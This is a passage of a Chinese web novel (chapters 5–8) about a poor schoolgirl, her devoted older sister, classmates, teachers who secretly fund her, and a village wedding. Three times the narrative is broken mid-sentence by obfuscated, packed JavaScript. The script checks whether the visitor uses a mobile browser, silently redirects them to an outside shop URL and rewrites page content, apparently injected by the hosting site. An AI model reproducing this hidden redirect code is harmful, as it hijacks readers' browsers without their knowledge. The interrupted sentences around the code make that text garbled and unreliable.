“那你还说不疼?”我心疼地看着她的手臂,“回家找点红花油擦擦吧。” “没事。”姐姐不甚在意地挥挥手。 姐姐也进去了,我想将我们三人的鞋轮流摆正,可我找来找去也没发现姐姐的鞋,后来一想,姐姐的鞋不是被我穿着吗?那姐姐穿什么进来的? 在热气弥漫的浴室中,我看不清姐姐的脸,只看得见那异于常人肤色的,被提示着遭遇家暴的她,还有她脚上的,与其他人不同的自己的夏季拖鞋。我看了看自己脚上的公共拖鞋,后知后觉地才发现原来姐姐已经穿拖鞋走了一路了。 热水从头顶浇下来,淋到脚趾的时候我后知后觉地感受到了一阵刺痛,脚上又开始流血了。 我没管它,任由它疼着。像是自虐般,我愈发用力地站着,感受着痛楚在我心中蔓延。 我想,这是一种很奇妙的报答。但是报答什么我也不知道。如果一定要说的话,那就是姐姐给我讲题,姐姐去网吧被父亲抓到,我用砖头砸破脚趾转移他们的注意力。姐姐把她的鞋袜给我,她自己穿拖鞋,那我该怎么报答她呢?我的脚趾再次流血这会算报答吗? 如果不算的话也没事,以后也有很多机会。 血缘真是很奇妙的一种关系。 “你怎么这么笨?”姐姐看着我和自己头发打架的样子不禁笑出声。 我很郁闷,我不喜欢长头发,但是自从上次看到有个老伯开着三蹦子,上面写着“高价回收长头发”,我就开始留长头发了。 姐姐走过来,取下绑在我头发上的梳子。一点一点的温柔的为我解开,随后取过吹风机对着我的头发慢慢吹了起来。 姐姐在我身后站着为我吹头发,我盘腿坐在姐姐前方享受,我仿佛看到她的指尖在我头发中穿梭的场景。 姐姐真好,我在心里想。 可这又要怎么报答呢? 我不知道。 夜晚。 我、妈妈还有姐姐三个人睡在床上。 爸爸在床旁打地铺。 我莫名地感到幸福,上次我们四个人在一起睡觉好像还是大年三十那天。 说实话三个人躺在床上很挤,三个人想完全平躺是不可能的,必须有一个人侧躺,我睡在中间侧躺。但是我很喜欢这种感觉,比起空空的大床上只有我自己一个人,我更愿意三个人一起。 但是这种幸福好像又转瞬即逝,爸爸妈妈明天凌晨就走了,姐姐上学要住校。 姐姐今天刚被父亲打过,她心里会不会不舒服,我想钻到姐姐的被窝中安慰她,可又怕姐姐已经睡着了,我去的话就是打扰她。 我也想去妈妈被窝,想抱抱妈妈,想问妈妈过年的时候会回来吗,想问妈妈能不能不要甩下我和姐姐去那么远的地方打工,想问妈妈如果我不读书也去打工的话是不是一家人还能团聚。 我有太多疑问,太多想做的事。说到底还是太珍惜这个夜晚,不想睡,也不敢睡,怕一睡了这个家就散了。 时间要是一直静止就好了。 5. 第 5 章 我一直没睡,想东想西的。也不知道几点,听到了很短暂的闹铃声,随后就有人将它按掉了。 我闭着眼没说话,听到了穿衣服的动静,爸妈要走了。 听到房门被“吱呀”一声推开,又“吱呀”一声关闭。 我说不清心里是什么滋味,只知道要赶紧睡觉了,明天还要去上学呢。 可还是睡不着,辗转反侧。 直到听到窗外的鸟叫,我睁开眼发现天亮了。 我看着姐姐的被子,头脑一热问道,“姐姐,你为什么去网吧?” “给同学代做PPT,一个PPT二十五。”姐姐沉闷的声音从被窝中传出来。 “你没和爸爸说吗?你是去赚钱的,为什么还会被打?”我伸出手将她的被子往下拉拉想更清晰地听她讲话。 “他不懂什么叫PPT,认为这是不正经的东西。”她干脆坐起,开始穿衣。 “那你为什么不去上补习班了?”补习班很贵的吧。 “我不用上补习班,我可以自己学习,省下来的留着给你以后读高中用。” 我干巴巴地“哦”了一声,不知道该说什么。 姐姐穿好衣服,脚上还穿着那双滑稽的夏季拖鞋。 “今天我跟老师替你请假了,昨天发烧今天休息一天。晚点陪我出去赶集,给你买双鞋,买个手机。” “这些钱都是你做PPT赚来的吗?”我有点愧疚。 “不是,不去上补习班的时候我会去饭店刷碗、帮别人代写作业。钱嘛,都是一点一点赚出来的。还有一些是妈妈留给咱们的。” 嘴上答应的同时我心里在想怎么才能回报呢。 和姐姐去集市的路上,我有点没话找话。 “姐姐你知道南京有家书店很火吗?”我穿着姐姐的鞋一边走路一边踢着石子。 “什么?” “李卿和我说过,叫先锋书店。好多人都在那里写过明信片挂墙上,别人都可以看到。” “你想写给谁呢?”姐姐问道。 “喜欢的人?讨厌的人?或者家人又或者我自己。”我坦白讲,“我也不知道。” “但是我想和你一起去。” 姐姐点点头,牵着我的手更紧了。 她说:“会的。” 姐姐的鞋有点大,必须将脚顶到最前面,不然我的脚就会滑出来,我想走快点,赶紧买完鞋,不然太冷了。 我和姐姐来到了鞋摊前,她拿起一双旅游鞋,内里是加了绒毛的,我摸了摸很暖和。 “老板,这双鞋多少钱?” “一百二。” “便宜点吧,一百二太贵了。” 姐姐在和老板砍价,我感到有点羞耻,想把头低下去,可是一想到这些钱是姐姐一个碗一个碗刷出来的,我的一双鞋姐姐不知道要刷多少个碗,我就把头仰起来,看着姐姐和老板砍价的样子,强迫自己将这一幕记在心间。 最后这双鞋以八十元穿到了我的脚上,老板还送了我们两双棉袜。 我拿着新手机,手机很小,可以用它来打电话发短信。 姐姐对我说:“你以后想联系我的话可以给我发消息,看到了我就会回复。” 我如获重宝一般地将手机收好,“我会的。” 次日,我去上学。 李卿一见到我就对我摆出一副很难过的表情,“你昨天怎么没来上学?难道你说要帮我考到班级前十是假的吗?” 赵澄在后座用手撑着脸全当看戏。 “我昨天发烧了,所以请假休息了一天。” 李卿连忙伸出手掌贴在我的脑门上试探温度,“还好还好,现在不烧了。” 我一边收拾着桌子上的卷子一边回应她,“嗯。” “可惜你没有手机,你没来上学我都不知道为什么。” “现在有了。”我很自豪地说,“是我姐姐买给我的。” “哇!你姐姐好厉害。”李卿惊讶地说,“快把你的电话号码发给我,这样我就能随时联系你了。” 我将我的电话号码写给她,从书包里掏出那张没签名的成绩单,模仿姐姐的笔迹写了她的名字。 昨天在家躺了半天,今天腰有点痛,我锤了捶,缓解了点。 “给,你的早饭。”赵澄变戏法似的从桌洞掏出一个烧饼,随后连忙说,“别拒绝,你下次给我写两份语文作业就行了。” 我听到他的前半句话想摆摆手,可听到他的条件又接过早饭道了一声谢谢。 我忍不住说了一句:“你人真好。” 他像是没听见般拿着自动笔在圆上画辅助线。 我尝了一口是草莓馅的,好甜。 课间,班主任来到了班级宣布了一个重磅消息。 “要开运动会了。” 李卿凑到我耳边和我吐槽,“我真是不懂了,为什么大冬天开运动会啊?” 赵澄的身子往前探,也听到了这句话,他接下岔,“可能是可以体现我们在冬日中昂扬挺拔的精气神?” “都要冻成狗了,哪来的精气神?” 李卿这话说得太对了,在走方阵的时候,要统一服装,以往都是穿校服的。 可是今年这温度降得厉害,等到开运动会的时候,会结冰吧? 班主任看了我们三人一眼,“不许讲小话开小差。” 她又说,“今年是你们初中的最后一个运动会了,所以咱们要好好表现,走方阵咱们要走得格外精彩。往年服装都是校服,没什么新意,今年咱们定班服。但是因天气原因,可能要定得厚一点。” “文艺委员,你和班长安排一下这件事,选一个好看点的班服,统计一下大家的意见,要是大家都嫌冷的话,就买羽绒服。” 我不禁皱眉,这笔钱花得也太冤枉了。我的衣服都是捡姐姐穿剩下的,姐姐穿不上的衣服就是我的了,为了一年只有一次的运动会去买一件衣服,实在是没必要。 就当我琢磨着要不要向姐姐一样周六日去饭店刷碗的时候,李卿小声和我说,“我想买两件,一件给我穿,一件给远方我表妹穿,就当姐妹装了。给她之前可以先给你穿,这样你就不用买了。” 我不知道她是不是真的有远方表妹,但不管怎么样,我很感激她,她维护住了我那可笑的自尊心。 “谢谢。”我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019793|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报答她,“拿出练习册,我来教你讲题。” 我看着她的做题思路感到很诧异,怎么有人语文的阅读题只会写“表达了作者的……之情”。 “还有不到一年中考,放心来得及。”我将她写的答案擦去,给她讲解着语文答题技巧。 她听后一拍脑门,随后把后座的赵澄喊醒。“别睡了别睡了,快来听挺好讲题,她讲得可好了。” “不听不听。”赵澄被她吵醒后将校服外套脱下来,露出校服短袖,随后将外套蒙在头上,“晚安。” 李卿摇摇头,用一种慈爱的眼神看着他,像是在看自己不争气的儿子。 他们俩的相处模式太复杂了,我不太懂。 “挺好挺好,你快说说他。”李卿摇摇我的胳膊,“你快把他骂醒,让他跟我们一起学习。” “啊?这不太合适吧?” “没事的!我允许你骂他,他要是敢多说一句话,我就骂他。” 在李卿的再三要求之下,我只好咳嗽两声,然后学着父亲的口吻说了一句: “你现在不努力以后怎么挣大钱?” 赵澄像是听到极为好笑的笑话一样爬在臂弯里笑出声,笑了两声随后将校服外套扯下,直起腰来看着我俩,表情由漫不经心转为严肃。 “你说得对,那咱们从哪里开始学呢?” “从背课文开始。”我点点初中必背古诗词,“把这些背下来,默写再也不用愁了。” 赵澄的眉毛好像可以夹死一只苍蝇,他苦大仇深地盯着课本,像是被欠了一万块钱一样。 “谢谢你挺好。”李卿乐得双手捂着肚子,“我头一次看到他这么‘热爱’学习。” “赵挺好,你出来一下。”班主任在门口大声喊我,整个班级顿时安静下来,直直地看着我,说实话有点吓人。 李卿给我让位置的时候低声问我:“你又犯啥事了?” 我对她投以茫然的目光,意思是在说我也不知道。 班主任雨姐把我带到办公室里,我环视了办公室一圈,发现没学生,只有教我们班的几个老师。 亲切地问我:“最近钱够花吗?” 我没太懂她的意思,就没敢说话。 “办公室里的老师们知道你家庭比较困难,但是你正是长身体的年纪,营养一定得跟上。”老师从自己的钱包里摸索。 我隐约猜到了她要干什么,我想阻止她,可是我的手伸不出去,只能眼睁睁地看着她拿出了一张卡放到我手心里。 “大家给你众筹了一千块钱当做你每个月的生活费,密码就是你的生日,我特意记着的咧。” “以后每个月都给你转,但前提是你要保持在班级前三名。”她握着我的手说道,“我心里有一种不服输的劲儿,事事都要做到最好。你也一定要这样。” “平常也是买课本买笔钱不够了再跟我们说。” 老师们温柔的话语如春雨般浇在我心间,在我的心尖上长出了一颗名叫“教书育人”的幼苗。 这张薄薄的卡片如有千斤重压在我的手上,我走到各个老师面前鞠了一躬,班主任拍拍我的肩膀说了一声“好孩子。” 6. 第 6 章 “挺好,你回来了,老师把你叫出去说什么了?” “说我这次期中考得不错,下次月考要保持住。”我将银行卡塞到我的袖子里,趁别人不注意又放到我的书包里。 “原来如此。”李卿对我竖起大拇指,“我们挺好真厉害,都被老师单独表扬了。” “没事。”我给她鼓劲儿,“咱们加油学习,下次把你叫出去表扬!” “先歇歇,有点学累了。”李卿俯下身从桌洞掏了掏,给我拿了一包薯片,“一时半会儿急不来。” 赵澄听到这句话嗤笑了一声,引得李卿对她的怒骂。 班长和文艺委员最后定下来的班服很厚实,跟羽绒服差不多,我穿上很温暖,像李卿给人的感觉一样。 “同学们,大家的班服都到了,不合适的话可以和周围人换换。下节体育课,咱们可以练练方阵。” 同学们一片哀嚎声,抱怨着体育课又被占了。 课间,班主任陪着我们下来,和体育老师交涉一番后体育老师就回办公室了。 今天很冷,北风像是穿透一切衣物直直地刺向我的身体,脖颈被呼呼的凉风灌溉。我将领子全部立起,遮住下巴,但感觉还是冷,我不禁驼背,希望能少一些被风吹的面积。 “高个子的同学往前站,你们可得支楞起来,到时候你就是我们班的门面,拍照先拍你们。”班主任在最前方组织队列。 我个子矮,站最后一排,我身旁是班长,班长穿得也很少,但他背挺得很直,领子也是正常的。 我不知怎的,心里像是起了一股不服输的劲儿,我也将背挺得很直,把领子放了下去。 我想明白了,这是一种莫名的攀比心。我在成绩上比不过他,至少要在精神气上超过他。 他看着我突兀的动作,不解地向我投了一个疑问的眼神。我照例整理着我的仪容仪表,将略有些长的校服裤腿卷起,露出脚踝,全然一副没有将他放到眼里的样子。 他的目光有些茫然,或是出于关心问了我一句:“同学,你这样不冷吗?” “不冷。”我感觉我说这句话的时候牙齿都在打颤,却强撑着没事一般,目视前方。 “好吧。”班长见我兴致不高,可能以为我是不舒服,“不舒服要不回教室趴一会?老师那边我去说。” 我对他突如其来的关心感到很莫名其妙,但还是点了点头。 实在是太吵了,同学们都对班主任侵占体育课这件事强烈不满,具体表达在了大声说话方面,就连老师也有点控制不住。 于是班长他去班级前方组织纪律了,我见他走了连忙蹲下假装系鞋带,实则是将我的裤腿放下来,实在是太冷了,风顺着我的裤腿直往上窜。 我甚至想好了措辞,如果他问我“你为什么又把裤腿放下来?”,我可以说是被风吹的。 可班长回来后,没有注意到我将裤腿放下来的细节。他目不转睛的跟随着口号,踏着标准的步伐。 奇妙的攀比心又上来了。 在“一二一”的喊声中,我们走了一遍又一遍。每走一遍,我感觉这都是对我的一种折磨,我感觉大多数人都是这么想的。 终于在我感觉我手脚冻紫之前,老师说了“下课”。 我跟着李卿迈着僵硬的步伐回了班级,我和她抱着暖气片缓了会才感觉自己活过来了。 “这是我头一次这么感激我坐在靠窗旁。”李卿将手翻了个面说道,“太暖和了呜呜,” “瞧你们那点出息。”赵澄单手撑着脸不甚在意。 “你不冷吗?”李卿将手贴在他的后脖颈,“这比暖气片还暖和。” 赵澄没躲,将身体往前探了探,更方便她把自己的手捂热。 李卿感受着手下的体温,将手捂热后再抽出,感叹了一句,“火力真旺啊。” 赵澄将自己的羽绒服脱下,又作势拉开校服拉链,李卿连忙把手抽出来,制止他的动作。又往周围看了看,发现没人注意到这边才松了口气,“你要干啥啊?” “揭秘真相。”赵澄甩下这四个字,将拉链拉开。 纯白的卫衣上里面贴了八个暖宝宝。 “哇!”我和李卿异口同声地发出感叹。 他也没将拉链拉上,从侧边的书包拿了一沓暖宝宝,分给了我和李卿。 “这就是‘火力旺’的秘诀。” “可以可以。”李卿为他鼓掌。 我拿了一个暖宝宝撕了包装袋给李卿,李卿接过贴在衣服上。 “同学,你叫什么名字?”课间巡视的同学走到了我们的面前,准确地来说,是走到赵澄面前。 他掏出记录的小本和笔,“学校有规定,不可以敞胸露怀。” 李卿快速回正身子,浑身透露着“我与他没关系”这几个字。 这个同学正是上次记我和李卿名字的人。 我很疑惑,他是有什么kpi吗?一天内必须要记够多少个人的名字才算完成任务? 赵澄冷冰冰地说出自己的名字,见他还在那里站着问道:“你还有什么事吗?” “啊,没什么大事的。”他顿了顿,预备铃正好响完,又说道,“二分钟铃班级过于吵闹,记上了。” 我看到赵澄的嘴皮子动了动,无声地说了句什么。 他用食指关节轻叩了叩桌面,“同学,这次我就当没听到你骂街,下次不要让我抓住了。” 说完这句话,他走到门边观察了一下,发现一个女生慢悠悠地提着水杯从后门回到了教室。 “有人迟到。”他又拿出了本,“你叫李卿还是赵挺好来着?” 我听到我的名字一怔,随后抬头,这不是上次被我跑操踩掉鞋的同学吗? 真是完了。 我迅速指指我自己,示意她说我的名字。 我看到她往我这瞥了一眼,随后说,“你记错了,我叫唐凤。” 他“哦”了一声,记好名字又在班级里说“你们班的纪律很差,我会上报给学生会。”之后便扬长而去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019794|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵澄“啧”了一声,随后自我安慰,“这下也不用愁咱们这节课班会讲什么了,这不就是现成的素材吗?往好处想,咱们至少提前知道了结果。” 果不其然,班主任准备好的素材一个没讲,面带笑容地拍了两张照片之后脸色瞬间变得阴云密布。 我揣着手,不敢看她。她拿出手机查看名单,“点到名字的都给我站起来。” “赵澄,你先给我站起来。” “为什么要敞胸漏怀?” “我在看我贴的暖宝宝有没有歪。” 班里瞬间发出一阵哄笑,有时候笑点真的很莫名其妙,笑容会传染也挺莫名其妙的。 “好端端的,你贴暖宝宝干嘛?” 赵澄坦然答话:“冷啊,外面走方阵一走就走四十分钟,人都要冻木了。” “那敞胸漏怀也是不对的,不知道的还以为你要勾搭小姑娘呢,下一步是不是就要早恋啊?” 有人在咳嗽,赵澄回头瞥了那人一眼。 赵大夫的一眼简直是神药啊,立马就见效,一点也不咳了。 班主任转移了话头,“(2,3),(2,4)两个人在二分钟铃说话,两个同学站起来。” “还有唐凤,怎么还迟到,一起站起来。” 教室里响起稀稀拉拉的推拉凳子的声音,这节课就在她的训斥中过去了。 说实话我有点喜欢这种课,前提是被骂的不是我。每次她开始数落人的时候,我会先反思我最近有没有犯什么事,如果有那我会提心吊胆地等待着她喊我的名字,再将头低下去,看着我的桌面,不发一语。但如果我认为我没有犯错误的话,我会驼背低头,两只手插进校服口袋里,奖励自己睡上一觉。 我想就这样浑水摸鱼地过下去也很好。 只是很讨厌回家,我总是在学校待到很晚,等到同学们都走了,我还在我的座位上写今天留的作业。有时候赵澄和李卿会陪着我,我也会给他们讲题。 教室里的灯很亮,但光线并不刺眼,我可以在亮堂堂的环境下写字。可惜待不了很久,有时是巡查的老师问我怎么还没回家,我应付过去后,过不了多久保安也会来轰我。然后我就会伴随着《回家》的音乐踏上回家的路。 那条充满泥泞的路。 家里只有一个拉线的灯,拉一下灯亮了,再拉一下,灯又暗了。 每当我要睡觉的时候,我要先把灯关了,然后打着手电筒的光走到床边。运气不好的话还会撞到脚趾。 姐姐给我买的手机中有纯音乐,有一次我睡不着想放音乐听听,却被巨大的音乐声吓了一跳,本来不多的睡意更是全跑了。 我想找人聊一聊,想找姐姐,但是姐姐上学已经很累了,我不能打扰姐姐。李卿这个点应该也睡了,我也不能打扰。我能找谁呢? 那个晚上我就这么睁着眼,直直地躺到了天亮。窗外响起鸟叫,吱吱喳喳的。我起床,看着眼下的黑眼圈,没忍住笑出了声。 我感觉这样的自己有一点滑稽。 7. 第 7 章 自从老师们给了我那张卡,我往办公室跑得更勤了,数学老师旁边放了一个小凳子,那是专门留给我的。我的数学练习册已经是原来的两倍厚了。 有一次我拿着练习册去办公室,当时的我脑子里只有解不出来的题目,忘记敲门喊报告。 班长站在那天我站的位置上,也接过了那张卡。我心中一凛,不知道下一步该做什么动作。 我没心思解题了,但我认为我在这总归是不好的,我抱着我怀中的练习册跑了出去。 我回到座位上还在大口大口喘着气,原来班长的家里也这么困难吗? 我感到抱歉,因为不小心窥探到他人的隐私。但是在心底隐秘的角落里又生出一丝欣喜。 原来有人和我是一样的。 这是不对的,我为我有这种想法感到羞愧,可能我本身就不是一个好人。 我的目光一直停留在那道数学题上,可脑子乱糟糟的,像是五颜六色的毛线缠绕在一起打了死结。 不多时,班长回来了,起初我没发现,可他站在我的课桌前我才注意到周围安静了下来。 李卿戳戳赵澄,她不明白发生了什么。 班长看着我练习册上的题,拿了一支铅笔,为我写下了解题思路。 通过那一条简单明了的辅助线和几个并不起眼的公式,这道题的思路迎刃而解,班长把我脑中的毛线一点点舒展开来。 班长帮我弄懂题目之后又出门了,我见状连忙追了出去。 “班长,对不起,我不是故意的。”我听到我的声音很小,不知道他有没有听到我的道歉。 我因我恶毒的想法,不敢抬头看他,只好看着我的脚尖。 一双干净老旧的黑色网状旅游鞋映入眼帘,是班长向我走过来了。 我下意识屏住呼吸,等待着他的回答。 如果他不接受我的道歉的话我会怎么办呢?应该会天天找他道歉吧。 “没事。” 万幸,他说没事。 上课铃响了,我冲他鞠了个躬后就走了。 我和他一前一后地回了班里,班中同学看我们的表情变得有些奇怪。 李卿像是发现了新大陆般,看着我的脸说:“你脸有点红,你俩是……?” 我摸摸自己的脸,确实有点热,但是脸红纯粹是因为尴尬。 我想止住李卿的话头,“快背课文。” 她更激动了,捂着嘴无声尖叫。 我想澄清一下我和班长的关系,但是也不好说明原因,只好应付过去,“班长是教我做题,没其他的什么。” 李卿听我这句叹了口气,“还以为你真的开窍了。” 不会的,自己活着已经很难了,为什么要带着别人一起活呢? 晚上,那位二婶子带着饭菜来看我了。一盘黑糊糊的茄子放在嵌印着小红樱桃的桌布上。她放菜的力气有些大,以至于有茄子洒了出来,油腻的茄子被汤汁裹着摔在了桌面上。 我左手拿着馒头,干巴巴地啃了一口。 “快吃菜,趁着还热。”她推了推那盘茄子,我右手拿着筷子不知道从哪开始夹。 她的目光有点过于热切了,好像这道菜我一定得吃。 我将馒头掰开,往里填了好多茄子,随后大口大口地吃了起来。 她笑着拍拍我的脑袋,“你这丫头还挺会吃的。” 我一直吃着,没接话。她走到窗边点燃了一支烟。抽吸,再吐出。 屋里没开灯,很黑。唯一的亮光就是她手里那只烟的火光,随着她的动作忽闪忽闪的。 我没来由地想到了《乡土中国》这本书,此时此刻我好像懂得了其中的一点含义。 我嘴里是馒头和茄子,说实话我不太想咽下去,我只盼着她能早点走,然后吐出来。 她看着窗外,我们就这么僵持着。等到一支烟燃尽,她转过身来,发现我还在吃着那口馒头。 “你这孩子,被噎住了也不说喊我一声。”她连忙为我接了杯水。 我尝试说谢谢,发现我也说不出话来,只好点点头,放下筷子接过水杯,抿了一口水,强忍着呕吐的感觉将馒头咽了下去。 “你吃着吧,我回去了。”她看了眼天色,开口说道,“这个点洗澡的人多了,澡堂子没我不行。” 我站起身想送送她,她将我按到板凳上,比了一个接着吃的动作。 我明白了她的意思,于是避开茄子啃了一小口馒头,目送她出门。 确保她走远后,我跑出门,就着门外的水池,吐了起来。 止不住的干呕,但吐不出什么东西来。我下定决心般用手去抠嗓子眼,终于胃里干净了。 我打开水龙头,听着流水的哗哗声,背靠在用砖头砌成的水池旁,抬头看向天空,青蓝色的天空有几颗星星点缀,我哈了一口气,看着因天气寒冷而聚在一起的雾气只是过了一瞬就散了。 屋里的烟味还在,我打开门散散味道。我把馒头里的茄子拨回盘子里,就着水把馒头吃了。 晚上我躺在床上,想着运动会要不要报名参加项目,如何参加的话选什么项目呢?还是算了,不如多写两道数学大题。想着这些有的没的我进入了梦乡。 次日早自习。 “今天运动会报名,咱俩去两人三足吗?” 赵澄头也不抬的接着补作业,“咱俩去?你要是见家长就直说。” 李卿白他一眼,“谁跟你说话了?我是跟挺好说呢,挺好,咱俩一起去呗?” 我不知道说什么,我不太想去。 她见我犹豫,给了一个我不会犹豫的选择,“我超爱那个奖品,如果咱俩获奖的话,我出钱你把你的奖品卖给我。” 我点了点头,没办法,我确实没法对金钱说不。 课间,我拉着李卿到走廊里尝试两人三足(不绑带),从刚开始的一二一,到后来越走越快越走越快,几乎是要跑起来。 我们撞到了人,是那个巡查的,我暗骂了一声倒霉,与李卿对视一眼,在彼此眼中都看到了无语。 “同学,走廊里不能奔跑。你俩叫什么名字?” 我对着李卿偏偏头,目光中透露着决绝。我俩迅速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019795|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奔跑起来,然后下楼。 “别跑!你们给我站住!”他气急败坏的声音被我和李卿甩在耳后,我们只顾着一昧地奔跑,一边跑一边说“抱歉抱歉让一下,有急事。” 在楼下楼梯口停下的我们,没理会别人诧异的目光,不约而同地笑出声。等到上课铃声响起,我们走后方的楼梯回到了教室。 “真是险之又险啊,差点又要被记名字了。”李卿回到座位,放松似的和我吐槽,“如果咱们这次又被记名字我都不敢想象雨姐的脸色会有多难看。” “确实,她可能会让咱们站一整天。”我附和道。 “这就是杀鸡儆猴。”赵澄幽幽道。 “那咱们可不能被抓住,希望他不会调监控。” 我拿笔的手顿住了,忘记还有监控这码事了……但是我觉得为了抓两个在走廊里奔跑的学生就去调监控这种事是不是有点太小题大做了? 我们平安地度过了这一天,我懂了一个道理,能跑的事就跑,不然就可能会成为“杀鸡儆猴”里的“鸡”,然后被杀掉。 最后一节课的下课铃响起,我早在上课前就收拾好了书包,我带着书包拔腿就跑。因为姐姐今天回来了。 我有点发愁今晚吃什么,思来想去还是交给姐姐决定吧,毕竟她好久都没回来了,也好久没吃我做的菜了。 我放学比她早,我想等她回来再去买菜做饭。可她回来的时候我睡着了,她没急着拉灯,房间里一片黑漆漆的。其实我听到了房门的推拉声,迷迷糊糊中她叫醒了我。 她蹲在床边,为我打湿了毛巾,温热的毛巾覆盖在我的脸上,我偏头透过毛巾的缝隙看着她。 “这个点睡着了晚上还睡不睡啦?”她双手叠在一起,轻声问我。 “不睡也没事,明天是周六。”我松了口气,像是一根紧绷的弦得到了短暂的放松。其实我从来没有在放学回来就立刻躺下睡觉的,一个是要写作业,一个是如果睡着了再醒来会很孤独,感觉自己被整个世界抛弃了一样。 今天可能是因为知道姐姐要回来,所以潜意识里放松了吧,认为会有人陪着我。 我想跟她说“我想你了”,但是我感觉有点矫情了,于是将这句话抛之脑后。我把脸上的热毛巾取下来,问她:“你想吃什么?我去上街买点然后做饭。” “不用上街了。”她从口袋里掏出两站崭新的红色钞票,冲我摆弄了一下,“咱们今天吃顿好的。” 片刻后,我跟着姐姐走到了一户人家。大红门左右两侧贴着巨大的“喜”,地上是磕的瓜子皮、烟头还有孩童爱吃的糖果纸。 姐姐带着我穿过正在打牌的几波人群,来到了一个老先生面前,她先是抓了一把瓜子里面夹杂着两三颗糖果给我,随后将二百块钱递给这位老先生,说了妈妈的名字。 老先生点点头,姐姐又带着我找地方坐了。 “咱们等会可以吃席了,你想吃什么就自己夹。”姐姐摸摸我的发尾,“今天是婚宴,晚点新娘子还会过来敬酒呢。” “那姐姐,你会结婚吗?”我脑子一热下意识地问了这句话。 8. 第 8 章 姐姐像是被我的奇思妙想震住了,半天没说出来话。 我低着头看我的手,我确实想知道这个问题的答案。在姐姐沉默的时候我也在对自己发问。为什么要关注姐姐以后的婚姻状况,为什么非要知道姐姐的答案。 “结婚……我目前还没有想过,我还是想好好学习,然后赚钱,赚很多的钱,赚花不完的钱,这样爸妈就能一直陪着咱们,你也能去做你想做的事了。” 我眼眶一热,有点想哭,我吸吸鼻子抑制住了。 “姐姐,我也会加油的,我也会加油读书然后努力赚钱的。” “撤席咯。”穿着围裙的大娘端着空盘子放盆里洗洗涮涮。 姐姐牵着我来到了空座,然后她也坐下。我们看着周围不认识的大娘们不知道说什么。 有一位大娘带着孩子过来了,见我姐姐身上穿的校服便开口问道:“孩儿,你上高中噻?” 我姐姐点点头,“我已经高三啦大娘。” “哎呦那可累人哟,平常上课难不?” “还好,现在要开始复习了。” 大娘推了推自己的孙女,“这是我家孩儿,你要是有时间能不能辅导一下她?” 我皱了皱眉,下意识地想替姐姐拒绝,可我看了眼姐姐,她不恼,反倒是笑眯眯地说:“多大啦?” “你自己跟姐姐说。”大娘鼓励似的摸了摸她的头发。 小姑娘睁着大眼睛怯生生地看着我和姐姐,“七岁了。” 我不禁感叹,刚上一年级就要开始辅导了吗?这是不是有点太卷了? “太小啦,七岁正是无忧无虑玩耍的年纪,没必要报什么补习班。”姐姐从口袋里拿出一块糖递给小朋友,“这个年纪多学两道题还不如多吃两块糖呢,你说对吧?” “对对对。”小女孩看着糖,口水都要从嘴角流出来了,“奶奶我想吃糖,您给我打开一下。” 大娘被当众这么批评教育,脸上有些过意不去。她将糖果放到她的口袋里,说道:“先别吃糖了,马上要吃饭了。” 小女孩很乖,听到这话不哭不闹乖乖在奶奶腿上坐好,等待开席。 我没忍住小声问姐姐:“姐姐,要是她跟我一样大,你会辅导她吗?” 姐姐瞥我一眼,“我会给她出几道难题让她慢慢琢磨。如果她是喜欢学习的孩子,我会给她讲的。但是她如果不喜欢学习的话,有辅导她的时间不如多给你辅导辅导。” 我感觉这句话很奇怪,真的有人喜欢学习吗?我搞不懂。 我扯着一次性的红塑料薄膜铺在桌子上,再用装满雪碧的塑料杯压好。 “姐姐,你多吃点。”我站起身为姐姐夹了两个鸡翅,“我不吃了,你吃俩,补补脑子。” 姐姐一只手为我扶着衣服,免得扎进菜里弄脏,另一只手把两个鸡翅重新夹回我盘里。“自己吃自己的,不用管我,我不太想吃油腻的。” 我把两个鸡翅都吃了,扭头看到新婚夫妇端着杯子和一个红色的托盘正在挨桌敬酒,托盘上都是红包。 我小声地和姐姐说:“姐姐,你还有钱吗?我看他们要过来了。” “没事的,只有双方的亲戚才给呢。”姐姐一边说着一边给我夹菜的动作不停。 “姐姐你自己吃,别管我了。”我将手伸到盘子前挡着,不让她给我夹了。 姐姐点了点头,说了一句:“快吃。” 过了两分钟,我放下了筷子,用餐桌上给的纸巾擦了擦嘴,“姐姐我吃饱了。” 姐姐也放下筷子,“那咱们走吧。” 我们趁着新娘子还没过来就离席了,所以我也不知道究竟要不要给他们红包。 我和姐姐刷了牙就躺在床上闲聊天。 “那个新娘子我怎么从没见过呀?是妈妈朋友家的女儿吗?” 妈妈为人直爽,热心肠,在这不大的村庄里很多人都认识她,她也给很多人都随过份子。 姐姐沉默了会儿,“不是。” 